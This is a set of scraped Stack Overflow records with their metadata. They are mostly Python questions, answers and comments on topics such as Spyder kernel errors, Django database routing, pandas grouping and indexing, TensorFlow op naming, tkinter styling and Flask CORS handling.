has body: I installed Anaconda (Python 3.6) on Windows 10 64 bit home edition. I'm getting below error just after starting the Spider 3 from Anaconda Navigator: Initially its showing kernel died, restarting and then below error: An error ocurred while starting the kernel Traceback (most recent call last): File "C:\ProgramData\Anaconda3\lib\site‑packages\spyder\utils\ipython\start_kernel.py", line 231, in main() File "C:\ProgramData\Anaconda3\lib\site‑packages\spyder\utils\ipython\start_kernel.py", line 220, in main kernel.initialize() File "", line 2, in initialize File "C:\ProgramData\Anaconda3\lib\site‑packages\traitlets\config\application.py", line 87, in catch_config_error return method(app, *args, **kwargs) File "C:\ProgramData\Anaconda3\lib\site‑packages\ipykernel\kernelapp.py", line 448, in initialize self.init_sockets() File "C:\ProgramData\Anaconda3\lib\site‑packages\ipykernel\kernelapp.py", line 236, in init_sockets self.shell_socket = context.socket(zmq.ROUTER) File "C:\ProgramData\Anaconda3\lib\site‑packages\zmq\sugar\context.py", line 146, in socket s = self._socket_class(self, socket_type, **kwargs) File "zmq/backend/cython/socket.pyx", line 285, in zmq.backend.cython.socket.Socket.cinit (zmq\backend\cython\socket.c:3861) zmq.error.ZMQError: Permission denied Traceback (most recent call last): File "C:\ProgramData\Anaconda3\lib\site‑packages\spyder\utils\ipython\start_kernel.py", line 231, in main() File "C:\ProgramData\Anaconda3\lib\site‑packages\spyder\utils\ipython\start_kernel.py", line 220, in main kernel.initialize() File "", line 2, in initialize File "C:\ProgramData\Anaconda3\lib\site‑packages\traitlets\config\application.py", line 87, in catch_config_error return method(app, *args, **kwargs) File "C:\ProgramData\Anaconda3\lib\site‑packages\ipykernel\kernelapp.py", line 448, in initialize self.init_sockets() File "C:\ProgramData\Anaconda3\lib\site‑packages\ipykernel\kernelapp.py", line 236, in init_sockets self.shell_socket = context.socket(zmq.ROUTER) F…
tagged with: anaconda
has title: An error occurred while starting the karnel - Anaconda python
tagged with: python
score: -1
tagged with: visual-studio-2015
has answer: http://stackoverflow.com/a/46993038

http://stackoverflow.com/q/46986430
tagged with: python
tagged with: zelle-graphics
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/47025772
has title: Two errors while trying to capture .getMouse in zelles graphics
has body: #Nicolas Conde COMP 151-005 10-3-17 from graphics import * def main(): #DataStorage NumberOfShapes = 0.0 ShapeType = 0.0 ShapeSpecs = 0.0 p1 = 0.0 p2 = 0.0 #GraphicsWindow win = GraphWin("Drawing Shapes", 500, 500) #Input print("*** Drawing Shapes ***") NumberOfShapes = int(input("Select the number of shapes: ")) #For loops begin here, each shape has their own for loop. Anything that is a commment within the for loop is from checkpoint 1 of the project. for i in range (NumberOfShapes): ShapeType = input("Select the shape type: ") #Rectangle if ShapeType == "R": ShapeSpecs = print("Click your mouse on the upper left and lower right points of the rectangle): ") p1 = win.getMouse() p2 = win.getMouse() #ShapeSpecs = ShapeSpecs.split(',') Rect = Rectangle(p1,p2) #(Point(int(ShapeSpecs[0]),int(ShapeSpecs[1])), Point(int(ShapeSpecs[2]),int(ShapeSpecs[3]))) Rect.draw(win) #Oval if ShapeType == "O": ShapeSpecs = print("Click your mouse on the upper left and lower right points of the oval): ") p1 = win.getMouse() p2 = win.getMouse() #ShapeSpecs = ShapeSpecs.split(',') Ovl = Oval(p1,p2) #(Point(int(ShapeSpecs[0]),int(ShapeSpecs[1])), Point(int(ShapeSpecs[2]),int(ShapeSpecs[3]))) Ovl.draw(win) #Circle if ShapeType == "C": ShapeSpecs = int("Enter the radius: ") ShapeSpecs = print("Click your mouse on the center of the circle: ") p1 = win.getMouse() #ShapeSpecs = ShapeSpecs.split(',') Circ = Circle #(Point(int(ShapeSpecs[0]), int(ShapeSpecs[1])), float(ShapeSpecs[2])) Circ.draw(win) Here is where the first issue is Traceback (most recent call last): File "C:/Users/nicol/OneDrive - Bridgewater State University/Freshman Year 2017/Semester 1/Computer Science I - COMP 151 - 005 Haleh Khojasteh/Project-2-Drawing Shapes/NicolasCondeProject2.py", line 91, in &lt;module&gt; main() File "C:/Users/nicol/OneDrive - Bridgewater State University/Freshman Year 2017/Semester 1/Computer Science I - COMP 151 - 005 Haleh Khojasteh/Project-2-Drawing Shapes/NicolasCondeProject2.py", line 46, in main…
type: Question
tagged with: graphics
type: UnansweredQuestion

http://stackoverflow.com/comment/80914595
type: AnswerComment
has text: @MooseDrool Beware, you have been warned :)
score: 1
type: Comment
comment on: http://stackoverflow.com/a/46983402

http://stackoverflow.com/a/47015965
type: Answer
has body: Apart from adding the data to context, you can add the field users_to_invite to serializer as a CharField. Example: import json class GroupCreateSerializer(ModelSerializer): def create(self, validated_data): # Get user ids to invite # !! It fails here !! invitations_data = json.loads(validated_data.pop('users_to_invite')) # TODO: Iterate over ids and create invitations # Create a group group = Group.objects.create(**validated_data) return group users_to_invite = serializers.CharField(required=False) class Meta: model = Group fields = ('id', 'name', 'users_to_invite', ) Note: Make sure to have users_to_invite in request data as a string. Like: '[1, 2, 3]'
score: 0
answers question: http://stackoverflow.com/q/47015498

http://stackoverflow.com/comment/81011334
type: Comment
type: QuestionComment
has text: Why did you put too many dots in your code ?
comment on: http://stackoverflow.com/q/47032413
score: 0

http://stackoverflow.com/comment/80878456
comment on: http://stackoverflow.com/q/46965024
type: QuestionComment
score: 0
has text: updated the question
type: Comment

http://stackoverflow.com/a/46995487
accepted answer of: http://stackoverflow.com/q/46995469
upvote count: 1
score: 1
has body: So you need something like nunique? df.groupby('ORIGIN_CITY_NAME')['UNIQUE_CARRIER'].nunique()
type: Answer
answers question: http://stackoverflow.com/q/46995469
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/a/46929064
has comment: http://stackoverflow.com/comment/80812612
has comment: http://stackoverflow.com/comment/80805103
has comment: http://stackoverflow.com/comment/80805190
score: 3
upvote count: 3
type: Answer
accepted answer of: http://stackoverflow.com/q/46928922
has comment: http://stackoverflow.com/comment/80811334
answers question: http://stackoverflow.com/q/46928922
has comment: http://stackoverflow.com/comment/80805053
has body: Option 1 max + groupby should do it. r = [max(g, key=len) for _, g in \ itertools.groupby(data, key=lambda x: x.split('::')[0])] r ['foo::bar::baz', 'abc::cde::def', 'bleh'] Option 2 A much simpler solution would involve the collections.OrderedDict: from collections import OrderedDict o = OrderedDict() for x in data: o.setdefault(x.split('::')[0], []).append(x) r = [sorted(o[k], key=len)[-1] for k in o] r ['foo::bar::baz', 'abc::cde::def', 'bleh'] Not exactly a one liner, but what is pythonic is subjective after all.
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/83087235
comment on: http://stackoverflow.com/a/47004533
score: 1
type: Comment
type: AnswerComment
has text: Re "numpy solutions are all O(n)" -- I suppose the answer below (`np.all(a[:-1] <= a[1:])`) is not O(n). Is it?

http://stackoverflow.com/q/47046309
score: 3
upvote count: 3
answer count: 1
downvote count: 0
linked to: http://stackoverflow.com/q/45018277
tagged with: multiple-databases
favorite count: 0
has title: django with multiple databases and foreignkeys for User
type: Question
has body: Suppose I have a django app on my server, but I wish to do authentication using django.contrib.auth.models where the User and Group models/data are on another server in another database. In Django, my DATABASES setting would be something like this: DATABASES = { 'default': {}, 'auth_db': { 'NAME' : 'my_auth_db', 'ENGINE' : 'django.db.backends.mysql', 'USER' : 'someuser', 'PASSWORD' : 'somepassword', 'HOST' : 'some.host.com', 'PORT' : '3306', }, 'myapp': { 'NAME': 'myapp_db', 'ENGINE': 'django.db.backends.mysql', 'USER': 'localuser', 'PASSWORD': 'localpass', } } DATABASE_ROUTERS = ['pathto.dbrouters.AuthRouter', 'pathto.dbrouters.MyAppRouter'] First question: will this work, ie will it allow me to login to my Django app using users that are stored in the remote DB 'my_auth_db'? Assuming the answer to the above is yes, what happens if in my local DB (app 'myapp') I have models that have a ForeignKey to User? In other words, my model SomeModel is defined in myapp and should exist in the myapp_db, but it have a ForeignKey to a User in my_auth_db: class SomeModel(models.model): user = models.ForeignKey(User, unique=False, null=False) description = models.CharField(max_length=255, null=True) dummy = models.CharField(max_length=32, null=True) etc. Second question: Is this possible or is it simply not possible for one DB table to have a ForeignKey to a table in another DB? If I really wanted to make this work, could I replace the ForeignKey field 'user' with an IntegerField 'user_id' and then if I needed somemodel.user I would instead get somemodel.user_id and use models.User.objects.get(pk=somemodel.user_id), where the router knows to query auth_db for the User? Is this a viable approach?
linked to: http://stackoverflow.com/q/6830564
linked to: http://stackoverflow.com/q/5493241
tagged with: django
tagged with: django-models
tagged with: python
tagged with: django-database
accepted answer: http://stackoverflow.com/a/47046495
has answer: http://stackoverflow.com/a/47046495
type: AnsweredQuestion

http://stackoverflow.com/comment/80778727
comment on: http://stackoverflow.com/q/46915495
type: QuestionComment
has text: Isn't that called 'Standardization'? @phg
score: 1
type: Comment

http://stackoverflow.com/comment/80810294
has text: @api55 : Thank you and sorry! Since I am new to coding with python. i wasn't aware of which function is available in which library. That's why this confusion. Will have a look. Thanks. And will make sure to put only what is necessary the next time.
comment on: http://stackoverflow.com/q/46930761
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80953982
type: Comment
comment on: http://stackoverflow.com/q/47002808
type: QuestionComment
has text: If you have Anaconda already, it would be much easier to do `conda install pyqt5`. I'd also recommend using `homebrew`, since you're using a Mac, which allows you to install and upgrade `Qt` easily. And SIP is a tool which automatically generates bindings to compiled libraries (like `Qt`) to be used in Python.
score: 1

http://stackoverflow.com/comment/81066923
type: QuestionComment
comment on: http://stackoverflow.com/q/47059444
score: 2
has text: Weird. Although my previous suggestion omits the 2nd underscore, so it should be `timestr + "_md5_filelist.csv"` but that's a trivial detail. What do you mean by "does not work."? That's pretty vague.
type: Comment

http://stackoverflow.com/q/47009499
tagged with: parent-child
has comment: http://stackoverflow.com/comment/80969906
type: AnsweredQuestion
answer count: 2
tagged with: pycharm
has title: how to let files in pycharm see different ones?
accepted answer: http://stackoverflow.com/a/47014924
downvote count: 0
has body: Suppose we have a directory: main that includes: directory_1 file_1.py directory_2 file_2.py If the main code is inside file_1.py, how can I import file_2.py? If it helps, I am using pycharm.
upvote count: 1
has answer: http://stackoverflow.com/a/47014924
favorite count: 0
type: Question
possible better answer: http://stackoverflow.com/a/47011258
has comment: http://stackoverflow.com/comment/80965481
score: 1
has answer: http://stackoverflow.com/a/47011258
tagged with: python
has comment: http://stackoverflow.com/comment/80995461

http://stackoverflow.com/comment/80881642
type: Comment
type: QuestionComment
has text: you can use `for v in ast["people"]: print v['name'], v['craft']` as well.
comment on: http://stackoverflow.com/q/46967051
score: 0

http://stackoverflow.com/comment/81042246
score: 0
type: Comment
type: QuestionComment
has text: if first row of first input and first row of second input doesnt match count them as unmatched!? is it so?
comment on: http://stackoverflow.com/q/47047469

http://stackoverflow.com/comment/80917328
type: Comment
comment on: http://stackoverflow.com/a/46984975
type: AnswerComment
score: 0
has text: But you can do it in linear time if you use a set for the second check, like I explained in the answer. In any case, O(N^2) is somewhat different than O(N*M), with N and M the length of two arrays. I tried to expand to make it clearer

http://stackoverflow.com/comment/80934546
comment on: http://stackoverflow.com/q/46984912
type: Comment
type: QuestionComment
has text: Regarding "" (U+01F64C), assuming you're using the standard Python 2 subprocess, it's limited to ASCII for `unicode` command lines. If you used `str` with `win_unicode_console`, then it encoded it as the UTF-8 string `'\xf0\x9f\x99\x8c'`. In Python 2, subprocess then calls `CreateProcessA`, which decodes the command line as an ANSI string. For example if the ANSI codepage is 1252, it gets decoded as `u'\xf0\u0178\u2122\u0152'` (i.e. `u"ðŸ™Œ"`). This would imply npm reads the command line encoded back to ANSI from `main` or `GetCommandLineA` and for some reason interprets it as UTF-8.
score: 0

http://stackoverflow.com/a/47019070
has body: Ok i decided to try Flask and it works just fine. process.py: from flask import Flask, request, json, abort from flask_cors import cross_origin app = Flask(__name__) @app.route('/foo', methods=['POST']) @cross_origin(origin='localhost', headers=['Content- Type', 'Authorization']) def foo(): if not request.json: abort(400) print(request.json) return json.dumps(request.json) if __name__ == '__main__': app.run(host='0.0.0.0', port=5050, debug=True) my fetch: fetch('http://127.0.0.1:5555/foo', { method: 'POST', headers: { 'Accept': 'application/json', 'Content-Type': 'application/json', }, body: JSON.stringify({data}) })
type: Answer
answers question: http://stackoverflow.com/q/47017989
score: 0

http://stackoverflow.com/a/46992488
has comment: http://stackoverflow.com/comment/80936448
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/80934247
answers question: http://stackoverflow.com/q/46992208
downvote count: 0
upvote count: 1
has body: You can use tf.import_graph_def to import your frozen .pb file: # Read the .pb file into graph_def. with tf.gfile.GFile(FLAGS.graph, "rb") as f: graph_def = tf.GraphDef() graph_def.ParseFromString(f.read()) # Restore the graph. with tf.Graph().as_default() as graph: tf.import_graph_def(graph_def, name="") # After this, graph is the what you need. Although there is nothing wrong to directly use frozen .pb file, I still want to point out that the recommended way is to follow the standard save/restore (official doc).

http://stackoverflow.com/q/47047140
linked to: http://stackoverflow.com/q/29266600
tagged with: pandas
has title: Pandas: slice one multiindex dataframe with multiindex of another when some levels don't match
score: 1
has body: I have two multiindexed dataframes, one with two levels and one with three. The first two levels match in both dataframes. I would like to find all values from the first dataframe where the first two index levels match in the second dataframe. The second data frame does not have a third level. The closest answer I have found is this: How to slice one MultiIndex DataFrame with the MultiIndex of another -- however the setup is slightly different and doesn't seem to translate to this case. Consider the setup below array_1 = [np.array(['bar', 'bar', 'baz', 'baz', 'foo', 'foo', 'qux', 'qux']), np.array(['one', 'two', 'one', 'two', 'one', 'two', 'one', 'two']), np.array(['a', 'a','a', 'a','b','b','b','b' ])] array_2 = [np.array(['bar', 'bar', 'baz', 'baz', 'foo', 'foo', 'qux', 'qux']), np.array(['one', 'two', 'three', 'one', 'two', 'two', 'one', 'two'])] df_1 = pd.DataFrame(np.random.randn(8,4), index=array_1).sort_index() print df_1 0 1 2 3 bar one a 1.092651 -0.325324 1.200960 -0.790002 two a -0.415263 1.006325 -0.077898 0.642134 baz one a -0.343707 0.474817 0.396702 -0.379066 two a 0.315192 -1.548431 -0.214253 -1.790330 foo one b 1.022050 -2.791862 0.172165 0.924701 two b 0.622062 -0.193056 -0.145019 0.763185 qux one b -1.241954 -1.270390 0.147623 -0.301092 two b 0.778022 1.450522 0.683487 -0.950528 df_2 = pd.DataFrame(np.random.randn(8,4), index=array_2).sort_index() print df_2 0 1 2 3 bar one -0.354889 -1.283470 -0.977933 -0.601868 two -0.849186 -2.455453 0.790439 1.134282 baz one -0.143299 2.372440 -0.161744 0.919658 three -1.008426 -0.116167 -0.268608 0.840669 foo two -0.644028 0.447836 -0.576127 -0.891606 two -0.163497 -1.255801 -1.066442 0.624713 qux one -1.545989 -0.422028 -0.489222 -0.357954 two -1.202655 0.736047 -1.084002 0.732150 Now I query the second, dataframe, returning a subset of the original indexes df_2_selection = df_2[(df_2 &gt; 1).any(axis=1)] print df_2_selection 0 1 2 3 bar two -0.849186 -2.455453 0.790439 1.134282 baz one -0.143299 2.372440 -0.…
has answer: http://stackoverflow.com/a/47047805
tagged with: multi-index
tagged with: slice
downvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/81044011
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/81057495
accepted answer: http://stackoverflow.com/a/47048686
tagged with: python
has answer: http://stackoverflow.com/a/47048686
tagged with: indexing
type: AnsweredQuestion
answer count: 2
possible better answer: http://stackoverflow.com/a/47047805

http://stackoverflow.com/q/47064122
answer count: 2
tagged with: subprocess
has answer: http://stackoverflow.com/a/47064793
has title: Creating a node/express API that spawns an async Python subprocess
tagged with: asynchronous
type: Question
has answer: http://stackoverflow.com/a/47065596
tagged with: python
has body: Technically, it spawns a Python subprocess that spawns another async Python subprocess, but the title was already long. Node/ExpressJS should wait on the first Python subprocess (to ensure it ran successfully), but not the sub-subprocess, which can take several minutes to complete. However, despite seemingly having the right setup, the API request when made through the browser seems to hang up waiting for the subprocess of the subprocess. Background: The basic goal here is to create a Node/ExpressJS based API you can use to run a model then get the output. The model can take several minutes to run so my strategy, instead of just waiting for the response with one API request, is to split the request into two, one to prep/run the model, a second to retrieve the results. The prep call initiates the model, there's checks and etc. by userid to make sure only one model run is active per user at any time. It simply returns a message saying the model run has been started successfully or that you can't start a new run because it's currently running. The retrieve call tries to retrieve the data. It can return a message saying the output is still running, the error if the run failed, or the stats and numbers and whatnot if the model run has completed. Problem: The problem is in the prep call. Node/Express calls a prep.py script. The prep.py script spawns another subprocess (run.py) but neither Node/Express or prep.py should wait for that subprocess to complete. Otherwise, calling the REST API would hang up if waiting for the model to complete. So the way this is done in Python is as follows: sp = subprocess.Popen([ "python", os.path.join(this_dir, "run.py"), userid, processid ]) print json.dumps({'response': 'success'}) # end of script When running this via command line (i.e. CMD), this works fine. I call prep.py, it instantly dumps the JSON and CMD is ready for another input/command. On the task-manager I can see python is running in the background and eventually the model ou…
tagged with: express
tagged with: node.js
accepted answer: http://stackoverflow.com/a/47065596
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/47064793
score: 0

http://stackoverflow.com/q/46941683
has comment: http://stackoverflow.com/comment/80831996
has comment: http://stackoverflow.com/comment/80830643
type: UnansweredQuestion
downvote count: 1
answer count: 1
has comment: http://stackoverflow.com/comment/80832476
has comment: http://stackoverflow.com/comment/80832596
has comment: http://stackoverflow.com/comment/80833124
favorite count: 0
has comment: http://stackoverflow.com/comment/80831960
has comment: http://stackoverflow.com/comment/80833455
type: Question
has title: Python - read_csv() does not remove the comment
has comment: http://stackoverflow.com/comment/80832838
has answer: http://stackoverflow.com/a/46942740
has body: I'm not sure that this question is available but I have a big problem. I have several .csv files and they have some comments line on the top with '#'. To handle the data files, I am trying to do this: dataframe = pd.read_csv(file, header = None, comment='#') Some files worked well but others didn't Some comments are removed but others are not. So the dataframe is messy. I don't know why this happen. How can I solve it? Should I upload the weird files? Edit I found the difference between the removable comment and unremovable comment. If the comment has any comma, it is not removed. Why this happened? # This comment is removed # This comment is removed. # This comment is not removed, # ,This comment is not removed # This comment is, not removed User,Age,Gender user1,22,female user2,30,male user3,25,male user4,23,female And the data frame is : 0 # This comment is not removed, NaN NaN 1 # ,This comment is not removed NaN NaN 2 # This comment is, not removed NaN NaN 3 User Age Gender 4 user1 22 female 5 user2 30 male 6 user3 25 male 7 user4 23 female
has comment: http://stackoverflow.com/comment/80832323
score: 1
tagged with: dataframe
tagged with: python
has comment: http://stackoverflow.com/comment/80833514
has comment: http://stackoverflow.com/comment/80832561
has comment: http://stackoverflow.com/comment/80831849
has comment: http://stackoverflow.com/comment/80833071
has comment: http://stackoverflow.com/comment/80832764
has comment: http://stackoverflow.com/comment/80832891
upvote count: 2
has comment: http://stackoverflow.com/comment/80832947
has comment: http://stackoverflow.com/comment/80831809

http://stackoverflow.com/q/47014771
type: AnsweredQuestion
has title: Optionally split spark dataframe string col into multiple columns
answer count: 2
has comment: http://stackoverflow.com/comment/85921618
upvote count: 0
downvote count: 1
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47025455
has body: I have a column in a data set which has the following format: 'XX4H30M' I need to extract the numbers in these sequences into two columns ('H', and 'M). If the format is exactly as described, the following (in pandas) does what I need: d3 = df.colname.str.extract('([0-9])([0-9])', expand=True) d3.columns = ['H', 'M'] df = pd.concat([df, d3]) However, a good number of the cells in this series just contain 'XX45M' XX3H Is there a way to optionally extract these patterns to insert them into the global df? For a concrete set of examples: df = pd.DataFrame({'A': ['XX1H30M', 'XX45M', 'XX2H']) would end up as Out: A H M 0 XX1H30M 1 30 1 XX45M 0 45 2 XX2H 2 0 What I need can be achieved in pandas with df = df.assign(H=recipes.col.str.extract('([0-9]+)H', expand=False), M=recipes.col.str.extract('([0-9]+)M', expand=False)).fillna(0) You can split a column, and add new ones in pyspark with: split_col = pyspark.sql.functions.split(df['col'], '-') df = df.withColumn('H', split_col.getItem(0)) df = df.withColumn('M', split_col.getItem(1)) How do I extend this to the case I have (i.e. patterns like 'XX2H45M' with two columns?
has answer: http://stackoverflow.com/a/47025455
tagged with: pyspark
tagged with: python
score: -1
tagged with: regex
possible better answer: http://stackoverflow.com/a/47015153
has answer: http://stackoverflow.com/a/47015153

http://stackoverflow.com/comment/81065594
has text: can you give the full error traceback when you look at your error log on pythonanywhere?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47045597
score: 0

http://stackoverflow.com/q/46923292
has title: Style not working in class for any object?
tagged with: python
tagged with: styles
accepted answer: http://stackoverflow.com/a/46932480
has answer: http://stackoverflow.com/a/46932480
tagged with: class
score: -1
has body: Why doesn't my style change the background of any of these objects? I got annoyed and just assigned them to everything. Also why does it make two windows? I see that it's something to do with style being different then the style in the object's options... I feel like it's also with my class, am I suppose to def _init_(self) it? the class? import tkinter as tk import tkinter.ttk as ttk style = ttk.Style() style.configure("color1.TFrame", foreground = "black", background = "red") class main: parent = tk.Tk() n = ttk.Notebook(parent,style = "color1.TFrame") f1 = ttk.Frame(n,style = "color1.TFrame") # first page tab f2 = ttk.Frame(n,style = "color1.TFrame") # second page 2nd tab window = f1 frame1 = ttk.Frame(window,style = "color1.TFrame") frame1.grid(row = 1, column = 1, padx = 200, pady = 150) frame2 = ttk.Frame(window) frame2.grid(row = 2, column = 1,padx = 200, pady = 150) main()
tagged with: tkinter
type: AnsweredQuestion
upvote count: 0
has comment: http://stackoverflow.com/comment/80795682
linked to: http://stackoverflow.com/q/42599058
answer count: 1
downvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/80793750
type: Question

http://stackoverflow.com/q/47064582
downvote count: 1
favorite count: 0
type: Question
has body: I wanna remove a dictionary from a nested dictionary and I don't know how. From this dictionary: dict = { 'user': [ { 'firstName': 'john', 'lastName': 'doe', 'movieList': [] }, { 'firstName': 'sarah', 'lastName': 'doe', 'movieList': [] }, { 'firstName': 'john', 'lastName': 'smith', 'movieList': [] }, { 'firstName': 'sarah', 'lastName': 'smith', 'movieList': [] } ], 'movie': [] } I want to remove: { 'firstName': 'john', 'lastName': 'doe', 'movieList': [] } which has the index 0 I tried using delete but i get this error: dict['user'][userId] TypeError: list indices must be integers or slices, not str
has title: Removing a dictionary from a nested dictionary
has answer: http://stackoverflow.com/a/47064905
has answer: http://stackoverflow.com/a/47064701
type: UnansweredQuestion
duplicate of: http://stackoverflow.com/q/4426663
tagged with: python
tagged with: dictionary
has comment: http://stackoverflow.com/comment/81077533
answer count: 4
linked to: http://stackoverflow.com/q/11520492
has answer: http://stackoverflow.com/a/47064616
score: 2
has comment: http://stackoverflow.com/comment/81079452
has answer: http://stackoverflow.com/a/47064672
has comment: http://stackoverflow.com/comment/81077504
upvote count: 3
has comment: http://stackoverflow.com/comment/81077408
linked to: http://stackoverflow.com/q/4426663

http://stackoverflow.com/comment/81042154
has text: Try `number, name = aline.split('.')` instead of popping.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47047378

http://stackoverflow.com/comment/80919013
type: Comment
type: QuestionComment
has text: Post your code. Try to avoid using generic words like`webpage`, `here` etc. Be more specific. People may avoid you question if they have to visit several sites for that.
comment on: http://stackoverflow.com/q/46985895
score: 1

http://stackoverflow.com/comment/80944400
has text: but i think in this way rowa, rowb will be outside the loop right
type: Comment
comment on: http://stackoverflow.com/a/46998317
score: 0
type: AnswerComment

http://stackoverflow.com/comment/80880261
score: 0
type: Comment
comment on: http://stackoverflow.com/q/46966375
type: QuestionComment
has text: please format your code and share your efforts

http://stackoverflow.com/a/47026789
has body: I think what you are not familiar with is the naming of the operation in TensorFlow. Let's first see this: In [2]: import tensorflow as tf In [4]: w = tf.Variable([[1,2,3], [4,5,6], [7,8,9], [3,1,5], [4,1,7]], dtype=tf.float32) In [6]: z = tf.nn.dropout(w, 0.4, name="output_Z") In [7]: z.op.name Out[7]: u'output_Z/mul' In [8]: z.name Out[8]: u'output_Z/mul:0' As you can see the name of z differs from the name of the operation z but all of them have the operation name mul appended. To get what you expected you can do like this: In [12]: Z = tf.identity(z, name="output_Z") In [13]: Z.op.name Out[13]: u'output_Z' In [14]: Z.name Out[14]: u'output_Z:0' Reference: Names of ops in tf.variable_scope() We discussed how tf.variable_scope governs the names of variables. But how does it influence the names of other ops in the scope? It is natural that ops created inside a variable scope should also share that name. For this reason, when we do with tf.variable_scope("name"), this implicitly opens a tf.name_scope("name"). For example: with tf.variable_scope("foo"): x = 1.0 + tf.get_variable("v", [1]) assert x.op.name == "foo/add"
type: Answer
answers question: http://stackoverflow.com/q/47024385
score: 0
accepted answer of: http://stackoverflow.com/q/47024385
type: AcceptedAnswer

http://stackoverflow.com/a/50893454
type: Answer
has body: This worked perfectly! If there aren't multiple elements with the same ID, you can use: driver.execute_script('document.getElementById("ELEMENT ID").removeAttribute("readonly")')
answers question: http://stackoverflow.com/q/47012126
downvote count: 0
score: 3
upvote count: 3

http://stackoverflow.com/comment/81052259
score: 0
comment on: http://stackoverflow.com/q/47052119
has text: from which user you are executing manually ? It is root or rascal ?
type: QuestionComment
type: Comment

http://stackoverflow.com/q/46991470
tagged with: pyglet
type: UnansweredQuestion
tagged with: python
answer count: 0
score: 1
has body: I am using python cocos2D and am trying to display a map of many tiles. About 100x100 32px tiles. It works alright when I am zoomed in by as soon as I zoom out to view more it gets very choppy. I also tried using my own sprites and that was even worse. I am not sure why it so bad considering I have seen pygame handle more (and far more complex) sprites than this no problem. Does the tile map version have something to do with the way that I scale? EDIT: I managed to hugely increase performance using a batch (which I had no idea was a thing and took some looking around to find). That should probably be mentioned somewhere less obscure (unless I am just stupid and missed it). In any case I am still interested in feedback about how to improve this (i.e how many sprites per batch?) and how to improve tilemap? class Tile(cocos.sprite.Sprite): def __init__(self, image, position): super().__init__(image, position=position) class GridLayer(cocos.layer.ScrollableLayer): def __init__(self): super().__init__() for x in range(50): for y in range(50): self.add(Tile('tile.png', (x*32, y*32))) class Scroll(cocos.layer.ScrollingManager): is_event_handler = True def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) win_size = Vector2(*cocos.director.director.get_window_size()) self.set_focus(win_size.x / 2, win_size.y / 2) def on_mouse_drag(self, x, y, dx, dy, buttons, modifiers): if buttons == 1: a, b = self.fx - dx, self.fy - dy self.force_focus(a, b) def on_mouse_scroll(self, x, y, buttons, dir): if self.scale &lt; 1: dir *= self.scale self.scale += dir * 0.1 def main(): cocos.director.director.init(1024, 600, resizable=True) scroll = Scroll() # This is the time map version: grid = cocos.tiles.load('tmp.tmx')['Tile Layer 1'] scroll.add(grid) # This is the custom sprite version: # scroll.add(GridLayer()) main_scene = cocos.scene.Scene(scroll) cocos.director.director.run(main_scene) if __name__ == '__main__': main()
tagged with: cocos2d-x
has title: Bad performance with relatively few sprites and medium sized tile map?
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
tagged with: cocos2d-python

http://stackoverflow.com/comment/80961341
type: AnswerComment
has text: Cant we have separate url for gitlab and django?
score: 0
comment on: http://stackoverflow.com/a/47007296
type: Comment

http://stackoverflow.com/q/46974522
tagged with: python-2.7
upvote count: 1
score: 1
tagged with: python
tagged with: coordinates
favorite count: 0
type: Question
downvote count: 0
duplicate of: http://stackoverflow.com/q/32328179
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/46974632
answer count: 1
has title: Get pixel coordinates for a given line
tagged with: line
has body: Suppose you have two points A(12,34) and B(56,78) and you draw a straight line between them. I would like to get all pixels (their coordinates) for my given line. Is there a simple algorithm on that ? I cant seem to use opencv's LineIterator. Its just not there. I think they did not implement the function in opencv2.
tagged with: opencv

http://stackoverflow.com/comment/80941884
type: QuestionComment
has text: the standard library difflib can be useful
comment on: http://stackoverflow.com/q/46997543
type: Comment
score: 1

http://stackoverflow.com/comment/80818268
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/46922411
has text: This actually does not help with the OPs question. They are wanting to open a 2nd window and should be using `Toplevel` for that inside of their function. Also you have not fixed the problem of the command running at init.

http://stackoverflow.com/a/46942247
upvote count: 1
score: 1
type: Answer
answers question: http://stackoverflow.com/q/46942094
accepted answer of: http://stackoverflow.com/q/46942094
has body: Table is a reserved keyword. Replace it with the real name of the table.
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/80976247
comment on: http://stackoverflow.com/q/47014927
score: 0
type: Comment
type: QuestionComment
has text: Is there any example site your are trying to scrape with those class names?

http://stackoverflow.com/comment/80869286
score: 0
type: Comment
has text: @J_Micks please update your question with an example regex. Why is there a list of regex (it just has to match one from the list)? This question is not particularly clear.
comment on: http://stackoverflow.com/a/46960831
type: AnswerComment

http://stackoverflow.com/comment/80985513
score: 0
has text: and where is the `url` on that structure?
comment on: http://stackoverflow.com/q/47019400
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47020241
answer count: 0
linked to: http://stackoverflow.com/q/46856584
has body: I have the following code: if __name__ == '__main__': player_information = get_information() print "Goalkeepers top 10:" goalkeepers = get_position(player_information, "Goalkeeper") for player, points in get_top_players(goalkeepers, 10, 5): print goalkeepers[player]["name"], points print "\nDefenders top 10:" defenders = get_position(player_information, "Defender") for player, points in get_top_players(defenders, 10, 5): print defenders[player]["name"], points print "\nMidfielders top 10:" midfielders = get_position(player_information, "Midfielder") for player, points in get_top_players(midfielders, 10, 5): print midfielders[player]["name"], points print "\nForwards top 10:" forwards = get_position(player_information, "Forward") for player, points in get_top_players(forwards, 10, 5): print forwards[player]["name"], points Output when using Ctrl + B on Sublime Text 3 (I have already selected Python after clicking Ctrl + Shift + B). Goalkeepers top 10: de Gea 33 Ryan 23 Schmeichel 23 Lössl 22 Ederson 22 Pope 22 Forster 21 Mignolet 21 Hart 20 Courtois 19 Defenders top 10: Monreal 32 Jones 32 Azpilicueta 30 Trippier 29 Kolasinac 28 Otamendi 27 Fuchs 24 Bellerín 23 Ward 23 Valencia 23 Midfielders top 10: Ramsey 30 Coutinho 28 Richarlison 28 Mahrez 27 Fernandinho 27 Eriksen 27 David Silva 26 Forwards top 